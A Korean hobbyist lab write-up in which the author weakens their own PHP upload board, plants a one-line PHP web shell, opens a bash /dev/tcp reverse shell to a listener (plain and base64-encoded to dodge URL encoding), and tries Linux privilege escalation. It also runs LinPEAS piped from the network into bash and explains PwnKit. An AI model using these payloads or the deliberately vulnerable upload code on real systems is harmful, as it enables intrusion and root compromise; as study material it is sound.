파일 업로드 실습 (3) 리버스 쉘 연결 및 권한 상승 시도
파일 업로드 실습 (2) 에서 좀 더 나가서, 리버스쉘 연결하고 권한 상승까지 해보고 싶어져서 진행한 실습.
그래서 (2)에서 적용했던 보안 설정 전부 되돌렸다… fileinfo로 MIME 타입 검증하던 부분 지우고, .htaccess에서 php/lib/inc 파일에 대한 직접 URL 호출을 막던 설정도 주석 처리함.
다시 취약해진 업로드 코드
아래는 파일 업로드 코드 일부분으로,
MIME 타입 검증은 주석 처리하고, 업로드 파일명도 변경 없이 원본 그대로 저장하도록 바꿨다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();
$username = $_SESSION["username"];
$title = $_POST["title"];
$content = $_POST["content"];
$title = htmlspecialchars($title, ENT_QUOTES);
$content = htmlspecialchars($content, ENT_QUOTES);
$wr_date = date("Y-m-d (H:i)");
$upload_dir = './file/';
$upfile_name = $_FILES["upfile"]["name"];
$upfile_tmp_name = $_FILES["upfile"]["tmp_name"];
$upfile_type = $_FILES["upfile"]["type"];
$upfile_size = $_FILES["upfile"]["size"];
$upfile_error = $_FILES["upfile"]["error"];
if ($upfile_name && !$upfile_error) {
$file = explode(".", $upfile_name);
$file_name = $file[0];
$file_ext = $file[1];
// 웹쉘 실습 편의를 위해 업로드 파일 이름 그대로 저장
// $copied_file_name = date("Y_m_d_H_i_s") . "." . $file_ext;
$copied_file_name = $upfile_name;
$uploaded_file = $upload_dir . $copied_file_name;
$allowed_types = ['image/gif', 'image/jpeg', 'image/png', 'image/jpg'];
if (!in_array($upfile_type, $allowed_types)) {
echo("
<script>
alert('이미지 파일만 저장 가능');
history.go(-1);
</script>
");
exit;
}
// 허용 MIME 타입 (이미지 4종 + 텍스트 파일)
// $allowed_types = [
// 'image/gif',
// 'image/jpeg',
// 'image/png',
// 'image/jpg',
// 'text/plain'
// ];
// 서버에서 MIME 타입 확인 (finfo)
// $finfo = finfo_open(FILEINFO_MIME_TYPE);
// $real_type = finfo_file($finfo, $upfile_tmp_name);
// finfo_close($finfo);
// if (!in_array($real_type, $allowed_types)) {
// echo("
// <script>
// alert('이미지 파일(GIF, JPG, PNG) 또는 텍스트 파일만 저장 가능합니다.');
// history.go(-1);
// </script>
// ");
// exit;
// }
$conn = mysqli_connect("localhost", "", "", "logintest");
$stmt = mysqli_prepare($conn, "
INSERT INTO memberboard
(username, title, content, wr_date, file_name, file_type, file_copied, img_url, fetched_img)
VALUES
(?, ?, ?, ?, ?, ?, ?, ?, ?)
");
mysqli_stmt_bind_param(
$stmt, 'sssssssss',
$username, $title, $content, $wr_date,
$upfile_name, $upfile_type, $copied_file_name, $img_url, $fetched_img_name
);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt);
mysqli_close($conn);
echo "<script>location.href = 'member_list.php';</script>";
}
?>
웹쉘 업로드
한 줄 웹쉘을 이용,
1
<?php system($_GET['cmd']); ?>
test.php 라는 이름으로 업로드하면서 Content-Type만 image/png로 변조해서 전송했다.
업로드된 경로에 직접 접근해서 id 명령을 실행해보니, www-data 권한으로 쉘이 정상 실행되는 걸 확인했다.
여기까지는 이전에 취약점 확인하며 했던 부분이고,
리버스쉘 연결
칼리에서 4444번 포트를 열어두고(nc -lvnp 4444),
버프 리피터에서 bash -i >& /dev/tcp/192.168.45.171/4444 0>&1 명령어를 아래 요청과 같이 보냈는데…
1
/logintest/file/test.php?cmd=bash+-i+>%26+/dev/tcp/192.168.45.171/4444+0>%261
안 잡혔다. 네트워크 문제인가? 했지만 게시판이 있는 우분투 서버에서 직접 bash -i >& /dev/tcp/칼리주소/4444 0>&1 을 입력하면 연결 잘 되는 것을 확인, 네트워크 문제는 아니었다.
그냥 인코딩 문제였다. URL과 셸 양쪽에서 특수문자가 충돌하는 게 원인이어서 base64로 인코딩해서 보내니 간단하게 해결됨.
1
/logintest/file/test.php?cmd=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE3MS80NDQ0IDA%2BJjE=|base64+-d|bash
앞으로 무조건 base64로 인코딩해서 보내야징.
아무튼 칼리로 리버스쉘 연결 성공! 현재 계정은 uid, gid 모두 33인 www-data. 최종 목표는 root까지 권한 상승ㅎㅎ
권한 상승 시도
시도 1. 쓰기 권한이 있는 중요 파일 찾기
/etc/passwd 같은 파일이 writable이면 uid=0 계정 만들고 끝인데, 당연히 그렇게 허술한 파일은 없었음.
시도 2. SUID 파일 이용하기
SUID 붙은 파일들은 거의 다 기본 시스템 파일로 건드릴 수가 없었음. 이게 뭔데 SUID지… 싶은 파일이 있으면 GTFOBins에서 찾아 그대로 적용하면 된다는데, 그런 파일은 없었네용
그런데 /usr/bin/pkexec에 SUID 비트가 붙어있었음. CVE-2021-4034(PwnKit)이라는 polkit pkexec 바이너리의 메모리 취약점을 써먹을 수 있을까 싶었는데, 패치 안 된 버전이어야 바로 root까지 가는 익스플로잇이 통한다고 함. 버전만 봐서는 이게 패치가 된 상태인건지??? 숫자가 한 끗 차이로 애매해서 일단 공개된 방법으로 익스플로잇 시도했는데, 역시나 이미 패치되어 있었음. 하긴 5년 전 취약점인데..ㅜ 자동 보안 업데이트 됐겠지…
실제로
zcat /usr/share/doc/policykit-1/changelog.Debian.gz | grep -i CVE-2021-4034
를 통해 policykit의 changelog 파일을 확인해보니
d/patches: Use upstream’s finalized patch for CVE-2021-4034
Acknowledge CVE-2021-4034 NMU. Thanks to Salvatore Bonaccorso.
Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
과 같이 이미 패치 했다고 뜸!
일단 CVE-2021-4034가 어떤 취약점인지만 정리해두고 다른 방법은 차차 생각해보기로 함.
CVE-2021-4034 (PwnKit) 정리
- pkexec는 SUID root 바이너리라 실행되는 순간 root 권한으로 동작함. 정상적으론 polkit 정책을 확인해서 권한 있는 사용자만 명령을 실행하게 해주는 도구.
- 취약점은 인자 처리 버그. C 프로그램은 실행 시 argc(인자 개수)와 argv(인자 배열)를 받는데, argv[0]에 프로그램 이름이 들어가므로 정상적으론 argc가 최소 1이어야 함. pkexec는 argc=0인 경우를 처리하지 않았음.
- 공격자가 execve()로 argc=0을 강제 호출하면, pkexec 내부 코드가 배열 범위를 벗어나 환경변수 영역을 argv로 잘못 읽음. 이때 환경변수를 교묘하게 세팅해두면 pkexec가 root 권한으로 공격자가 심어둔 코드를 실행 → root 쉘 획득.
- 줄을 서는데 “0번 손님”이라는 존재하지 않는 번호를 부르니 시스템이 혼란스러워져서 옆에 있던 아무나(공격자가 심어둔 것) 들여보내는 느낌…
- 메모리 손상이 아닌 로직 버그라서 익스플로잇이 안정적이고 거의 모든 배포판에 통했음. 2021년 1월에 공개되며 크게 이슈가 됐던 취약점.
시도 3. cron 확인
cron으로 돌아가는.. root 소유의 프로그램 중에… www-data로도 쓰기 또는 실행 권한이 있는 프로그램이 있는지 확인해 봄. 역시나 아무것도 못 건짐.. cron 설정에 미흡한 부분 없었음.
시도 4. 혹시 db 루트 계정의 패스워드를 알 수 있다면?
www-data 계정으로 /var/www/html/logintest 의 웹 소스코드를 다 볼 수 있었고, 만약 내가 실수로 test.php 나 db.php같은 뭐 이런 파일로 db 연결 관련해서 mysql root 계정의 패스워드를 평문으로 남겨놨다면?
보통 사람들은 mysql 계정과 시스템 root 계정의 패스워드가 동일할 거니까… 일종의 크리덴셜 스터핑 공격처럼 root 패스워드를 주워서 재활용 해보려고 했는데.
걍 test22 db 계정의 패스워드만 주울 수 있었음. 처음 웹 게시판 만들 때는 잘 몰라서 db 루트 계정으로 db 연결하는 코드 썼었는데… 이후에 수정하면서 test22라는 새 db 계정을 만들면서 싹 갈아엎었었나 보다.
시도 5. LinPEAS로 취약점 스캔 > CVE-2023-0386 이용, 루트 권한 획득 성공
공부 목적이니 시도 4까지 혼자 쌩으로 해보다가.. 슬슬 지쳐서 자동화 도구 이용함ㅎ
타겟(웹 서버 열어둔 기기는 노트북)이 인터넷 되고 wget도 설치되어 있어서(which wget으로 확인함) 칼리(데스크톱 vm)의 메모리에서 최신 LinPEAS로 바로 실행.
1
wget -qO- https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash | tee /tmp/linpeas.txt
뜬금없는 삽질 시작… 파일시스템 오해
LinPEAS는 잘 돌아갔고, 따로 /tmp에 결과를 파일로 저장까지 잘 된 걸 확인했는데… 뭔가 이상한거…
리버스쉘 띄워놓은 칼리에서는 /tmp에 linpeas.txt 생성된거 보이는데??
확인차 실제 웹 서버(노트북)에서 /tmp를 확인해보니 linpeas.txt 가 없는것임…
왜 없는건데 싶어서 시간 동기화?? 칼리에서 /tmp에 파일 생성된 시간보다 노트북 서버 시간이 느린가..? 뭐 그런 문젠가 싶어 확인해보니 그런 것도 아니었고… 그니까 캐시 지연 같은 개념은 아니었다.
파일이 실제로는 안 만들어졌나? 싶어서 ls -al로 확인해보니 inode까지 찍힌 실제 txt 파일이 만들어져 있었고.. 읽을 수 있었고…
아 설마??? 리버스쉘이 붙은 머신이 다른 머신인건지…… 뭐 둘다 vm에서 돌아가는거니까… 엥 근데 그럴 수가 있나?? 참고로 도커도 안 쓴 환경임. 실제로 칼리 리버스 쉘과 타겟 서버 쉘 양쪽에
1
cat /etc/machine-id
해보니 같은 머신 아이디가 떴음. 리버스쉘이 웹 서버 가동중인 머신에 잘 달라붙은 게 맞았음.
그 다음으로 /tmp의 아이노드를 대조해 봄. 여기서 타겟과 칼리가 다른 결과가 뜸.
1
ls -lid /tmp
타겟에서 직접 /tmp의 아이노드를 보면 2359297이 뜨고,
리버스쉘에서 보면 /tmp의 아이노드가 2359306으로 떴다!
그니까 두 /tmp가 다른 디렉터리라는 건데… 왜…?ㅜㅜ 열심히 클로드에게 물어봤고
양쪽의 mount namespace가 달라서 그렇다고 한다.
1
readlink /proc/self/ns/mnt
를 양쪽에서 실행했을 때, namespace ID가 다르게 떠서 리버스쉘로 딴 계정(www-data)과 실제 웹 서버에서 돌린 계정(jin)이 다른 mount namespace에 있었음… 잉
알고봤더니 www-data 쉘에서
1
cat /proc/self/mountinfo | grep -i tmp
의 결과로,
1
2
.../tmp/systemd-private-d278abdb...-apache2.service-0GdLfs/tmp /tmp ...
.../var/tmp/systemd-private-d278abdb...-apache2.service-Fs2AWN/tmp /var/tmp ...
로 떠서… 아파치 자체가 systemd의 PrivateTmp=true로 격리 실행하고 있었던 거였다.
정리하면:
- 아파치(웹서비스)가 PrivateTmp=true로 실행됨
- 그래서 아파치와 거기서 파생된 www-data 프로세스는 자기만의 - 격리된 /tmp를 봄 (실제 위치는 /tmp/systemd-private-…-apache2.service-…/tmp)
- 일반 로그인한 jin은 진짜 /tmp를 봄
- LinPEAS를 www-data로 돌렸으니 linpeas.txt는 격리된 /tmp에 생겼고, jin이 진짜 /tmp를 봤을 땐 당연히 없었던 것이었다.
결론은 /tmp는 격리된 환경이니 LinPEAS로 나온 것 중 /tmp 관련된 게 있으면 진짜 시스템상의 /tmp는 아니니까 약간 걸러봐야 하고…
아파치 자체에서 privatetmp를 해놓는 걸 몰랐다. 생각해보니 그래놔야 /tmp를 통한 공격이 축소화될거니까… 합리적이고 당연한 보안 설정이었다.
LinPEAS 결과 확인
LinPEAS의 결과로 뜨는 것 중 95퍼센트 정도로 취약 가능성이 높은 벡터인 RED/YELLOW 부분만 긁어봤다.
막 커널 익스플로잇 관련해서 CVE-2023-0386 외에도 CVE-2025-38236, CVE-2026-46333, CVE-2026-43284, CVE-2026-43500 등이 뜨는데… 이 중 내가 할 만한 건 CVE-2023-0386 이었다.
왜 최신 취약점을 안 팠냐: 2025 이후 취약점은 공개된 안전한 poc가 잘 없을 것 같다는 생각도 있었지만, 메모리 취약점들은 아직 나한테 버겁다는 이유가 가장 크다… 따흑
더 보니까 시도2에서 확인한 CVE-2021-4034와 취약한 설정들도 뜬다.
PwnKit 취약점도 뜸. 이건 실제로 익스플로잇 불가능하다고 결론 내렸으니 패스
CVE-2023-0386 익스플로잇 시도
이거는 다음 게시글에…






